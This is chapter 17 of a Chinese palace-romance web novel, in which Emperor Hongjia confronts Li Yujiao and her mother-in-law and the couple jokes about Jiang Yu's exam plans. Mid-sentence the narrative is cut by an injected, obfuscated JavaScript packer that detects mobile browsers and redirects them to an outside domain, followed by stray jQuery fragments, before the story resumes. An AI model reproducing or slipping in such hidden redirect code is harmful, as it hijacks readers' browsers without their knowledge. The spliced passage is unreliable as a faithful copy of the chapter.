17. 心意相通
作品:《儿子说我会被帝王强夺为外室后》 凌大指挥使抱拳:“……皇上,卑职斗胆您说笑了,雷霆雨露皆是君恩。”
听得凌风特意咬重了音强调“皇上”一词,像是在提醒某人用词别太嚣张跋扈用疏漏来遮掩私刑,鸿嘉帝笑着挥挥手示意凌风去请顾夫人。
他慢条斯理的将手中的飞爪顺着绳索收回,到最后神色晦暗的望着还牵着另一头飞爪绳索的李玉娇。
这绳索是红色,倒也像极了红线。
“松手,让丫鬟给你上药。”鸿嘉帝轻轻挥动了一下绳索,低沉着声道:“朕可没想着又一次被造谣刻薄寡恩,容不得功勋后裔。”
李玉娇闻言还有些不舍:“回……回皇上的话,没……没东西攥着不安心,我……我怕……我怕御前失礼。”
“你已经挺失礼的。”鸿嘉帝说完,靠近李玉娇。
看着人怯着身后退一步,他沉着脸:“给朕站着,别哆嗦!”
李玉娇瞬间就觉浑身吓得冷汗淋漓,寒毛倒立,但也真不敢动。
只能硬生生的看着帝王不紧不慢迈步靠近。
明明这一段距离很长,可莫名她便觉鸿嘉帝是“咻”得一下子就闪现过来了。速度快的,像是闪电,让人压根毫无躲闪的能力。以致于眨眼间,便四目相对了。
一张脸,便清清楚楚的映入眼帘。
刀削斧凿,精心雕刻的英俊,带着从未见过的霸道。像是发现她的注目,眉头还一挑,瞬间睥睨之气中又莫名的有些魅惑,让她不得不想到了闺阁时期听过的传闻——北疆玉面修罗,可号令女鬼勾男人的鬼魂。
虽然这传言有其他皇子的恶意造谣,但如今看来鸿嘉帝也的确对得起这“玉面修罗”的诨号。
鸿嘉帝瞧着能够被自己完完全全笼罩住的李玉娇身影,一抬手都能揽入怀中的距离,沉默的唇畔紧抿,甚至呼吸都放缓了些。
相比上一回上药,那淡淡的清香伴随着昏睡不省人事的李玉娇似若冬日的冰窟,满室寒气,让人不敢靠近。
可眼下是活生生的李玉娇,除却积年累月与身躯合二为一的香气外,更有活灵活现的眉眼,与完全始料未及的言行举止。
完完全全就是盎然的春意。
教人恨不得沉溺其中。
与此同时,李玉娇头皮发麻,当即后退一步。
她都能感受到对方吐息间喷洒出来的热气了。这简直就是……就是……就是流、氓了!
鸿嘉帝遗憾的站定步伐,定定的望着娇艳欲滴的脸此刻因他迸发的显而易见的情绪,抬手将自己卷好的飞爪绳索往李玉娇跟前一递:“好好握着,但千万别飞檐走壁!也别乱丢,有锦衣卫的标识在。”
惊吓的李玉娇感受着手上骤然传来的力量,一怔。
回过神来,就见鸿嘉帝早已在一尺之外。
先前那般接触,仿若是她错觉。
一直提心吊胆的婉月看着“递物”、“后退”仿若一气呵成的鸿嘉帝,沉默着拧眉,这帝王到底什么态度?
***
半个时辰后,听完帝王出现前因后果的顾夫人逼着自己不去看自家儿媳妇手里多出了一卷飞爪,再一次躬身致谢:“多谢皇上开恩,罪臣定然好生反省。”
瞧着老夫人没找借口,爽快的承认自己有错,鸿嘉帝吁口气,“你孙子的事情你自己处理好。勋贵之中江家还算乖顺,朕给江家祖宗一个薄面。”
“这事了结后,江昱荫庇为官,去国子监当个学录。”鸿嘉帝不急不缓吩咐道:“朕也不用他做些上进的事,就盼在他不差钱不会拿捏寒门学籍吃拿卡要,也盼他大小是个侯爷能有颜面管一管国子监的勋贵子弟。”
猝不及防的机会抛来,顾夫人恨不得立马答应下来,可脑海却控制不住的想起了自己当年听到孩子随着李大人被追杀,尸骨无存,寝食难安的三个月。
那三月,她回想起来都不知道自己是靠着什么熬过来的,只知道自己疯疯癫癫,全靠一口气撑着才能活下来。
“皇上,您厚待江家给江昱赐官,”顾夫人双膝跪地,语速慢慢,“是江家的荣幸。”
李玉娇见状跟着跪地。
她听得出自家婆母口吻是言不由衷的无奈。不像江昱为她央求婆母开恩同意她出去玩的口吻,是那种有些哀恸惶然害怕的调调。
琢磨着,李玉娇小心翼翼飞速开口:“可是婆母,江昱说了要自己考举人——”
没见婆母开口阻断,李玉娇说得就底气十足,傲然无比:“还要考探花郎,给我请探花诰命呢。这一下子当官了,岂不是就不能当探花郎了?”
说着,她昂头看着鸿嘉帝:“皇上,您……您既然厚待江家,能不能让江昱自己考探花郎啊?”
“玉娇!”顾夫人急切的呼喊:“不得仰面直视君王!”
哪怕她此时此刻十分清楚李玉娇扬着如花似玉的脸求情,只是从小到大就习惯了持美撒娇,可她害怕……
“无妨,私下会面朕还没这么多规矩。只是——”鸿嘉帝带着些轻蔑的嗤笑:“很有想法。”
“若是江昱真能够考上举人,不拘多少名都是佳话。倒是比他荫庇为学录对朝政更为有利。”
李玉娇郑重纠正:“要考探花的,实在不行也得是进士老爷。”
鸿嘉帝:“你闭嘴。朕今天不是来杀人的。”
顿了顿,他居高临下看着顾夫人:“江昱就好好备考。”
见人眼里没有任何伤感落差,鸿嘉帝佯装气闷一抬手:“行了,那就跪安吧。”
说完,他干脆无比疾行,而后足尖点地,是怎么来的就怎么回去。
凌风眼瞅着光明正大当着家主的面就这么熟门熟路飞走的皇帝,讪讪冲跪地行礼的顾夫人一抱拳,便急急忙忙跟上。
眼瞅着顾夫人一直还在叩首送行,李玉娇跟着匍匐。
等听到耳畔终于传来似天籁的一声“起来”,她只觉自己膝盖都能跟泥土融为一体,再也不分开了。
感受着跪地带来的酥麻,李玉娇也不敢多说什么,只依偎在婉月身上。
顾夫人:“…………”
顾夫人看眼娇艳的脸,沉默的命人回书房,又派人去把睡梦正酣的江昱叫了过来。
王叔叩首连连请罪:“是老奴大意了,没想到害了小主子。”
“只有千日做贼的哪有千日防贼的?”顾夫人见坦荡的儿媳妇,见更坦然的儿子,瞅着唯有王叔忧心忡忡,气得抬手按着额头突起的青筋,宽慰着:“且锦衣卫是帝王嫡系,身经百战的,他们发现端倪是正常的,不然徒有虚名了。”
说完她又强调:“邪祟弹劾这事莫要让小米知道。孩子小又接连遭受重挫,万一忧虑多思,那真就麻烦了。”
李玉娇点头若小鸡啄米:“婆母您说得对。”
见满是后怕的慈母,顾夫人思绪偏飞,但最终板着脸道:“还有你,别窝在被窝里偷摸哭,再来个郁结于心。救命之恩以身相许这词配着考核,什么旖旎氛围都没有,全是政治斡旋。知道吗?”
话虽然对着李玉娇说,但眼角余光,顾夫人却是落在了自己儿子身上。
岂料江昱一张嘴,说得那个贼胆包天。
他道:“可不就是,媳妇你可别胡思乱想啊。皇上真若是信救命之恩以身相许,那说真的,他当年为帅,战场上救了多少人?那一个个大汉以身相许的话,那场面是有些刺激的。”
顾夫人气得拿杯子想砸自己这不成器的儿子。
江昱却是无视老娘杀气腾腾的眼神,带着自己都察觉的怯意望着李玉娇。
李玉娇听得接连的劝说,只觉自己像是比握着实实在在的救命稻草还让人安心。让她忍不住想要开口控诉那让她不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534377|168506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
适,觉得帝王过分靠近又两分流氓的行径。
可张口的那一瞬间,她撞见了江昱的眼。
饶是休养过了,却还是无法遮掩连日的疲惫。红血丝布满了整个眼球,看着都让人心疼。
这样的心疼,让李玉娇形容不出来,只觉自己此刻想要顺着江昱的话,想要江昱安心。她侧眸瞟了眼亲自守着门口的婉月,又环顾四周。确认屋内唯有可靠的自己人,李玉娇便压低了声:“相公你好聪明啊。这个角度我是没想过。不过想想也是真的,其他人不提那凌风指挥使就对皇上很是死心塌地。”
听得人一声“相公”,像是很郑重的强调自己的身份,江昱心只觉被针扎过一般,有些疼。
要知道李玉娇从来都是江昱江昱的喊着,喊相公、夫君这般词汇,那是真真想要出去玩的撒娇、想偷懒躲避管家课,亦或是床笫之私。
所以眼下这一声呼喊,是除却让他这个夫君安心外,恐怕也是李玉娇自己在害怕。
明明自己害怕却还想着要宽慰他这个无能不聪慧的夫君。
足以见证李玉娇管家课还是学的很认真,成长的很快。
逼着自己想想好的,江昱止住溢满全身的憎恨,选择继续给鸿嘉帝泼脏水,好压住那八个字的魔咒:“别说话本了,就是正史上,龙阳断袖分桃这些都明明确确记载由皇帝干出来的。”
“真的?!”李玉娇一惊,都有些不敢信。
“当然,史书为证!”
迎着这般笃定的回应,李玉娇瞬间信了,还颇为与有荣焉的骄傲:“你好博学啊。不愧是励志要当探花郎的秀才公!”
“那当然。三字经苏老泉二十七开始读书听过没?我江昱非但自己浪子回头,还得带着崽一起呢,凑个江家三苏……”
顾夫人听得这神仙对话,另一只手也抬起重重按压额头突起的青筋:“你们两个天生一对的闭嘴,哑巴了倒像是金童玉女的模样。给我出去给我赶驴练武去。要是还有力气干脆花园里开垦出一亩地来种种田,醒醒脑子。”
被告诫闭嘴的两人:“…………”
金童江昱立马毫不犹豫挽着自家玉女李玉娇的手腕,从顺如流的告退离开。
李玉娇告退之后,举着自己还涂着药膏的手,对江昱可怜巴巴着:“我手伤了,赶不了驴。”
“宰了那驴,咱吃驴肉火烧去。”江昱低声:“哪怕平民,那咱们也要发挥所长。比如我好吃,你爱华服是不是?咱们开个小店铺,都好过去种地,浪费地。还容易漏泄,让人一筹就知道不是农家人。”
想想自己赶驴都能赶得驴抗议,李玉娇瞬间表示认同:“那吃驴肉火烧。”
“那接下来陪你家相公读书去?”江昱笑着邀请。
“好。我还能研墨!”
“那红袖添香很文人气了。”江昱微微昂头,带着自己都知道的无礼孩子气,眺望着高悬的太阳,宣告着:“为夫有夫人助力,一定能够考上举人!”
还没离开的鸿嘉帝嗤笑得翻个白眼。
只觉头顶烈日都有些热得慌的凌风小声:“皇上,卑职斗胆,您什么时候回宫批阅奏折?”
“江昱当年是倒数第一名吧?”
“但那也榜上有名。”凌风据实已告。
“倒数第一名的秀才想要成为举人,比登天还难。”鸿嘉帝气得放下千目镜,不去看夫妇恩爱携手离开的画面,咬牙道:“朕虽有时候厌恶文臣,但也不得不承认他们也是一路过关斩将考出来的佼佼者。”
“那您愁什么?”凌风纳闷:“您不提出身,您实力都比江昱强,您抱得美人归那不是理所当然的?”
“就愁王八绿豆看对眼。”
凌风后退两步,弱弱补充:“您……您用词可以稍微温柔些。您……您不说是追媳妇吧,但……但不能这么怼美人啊。”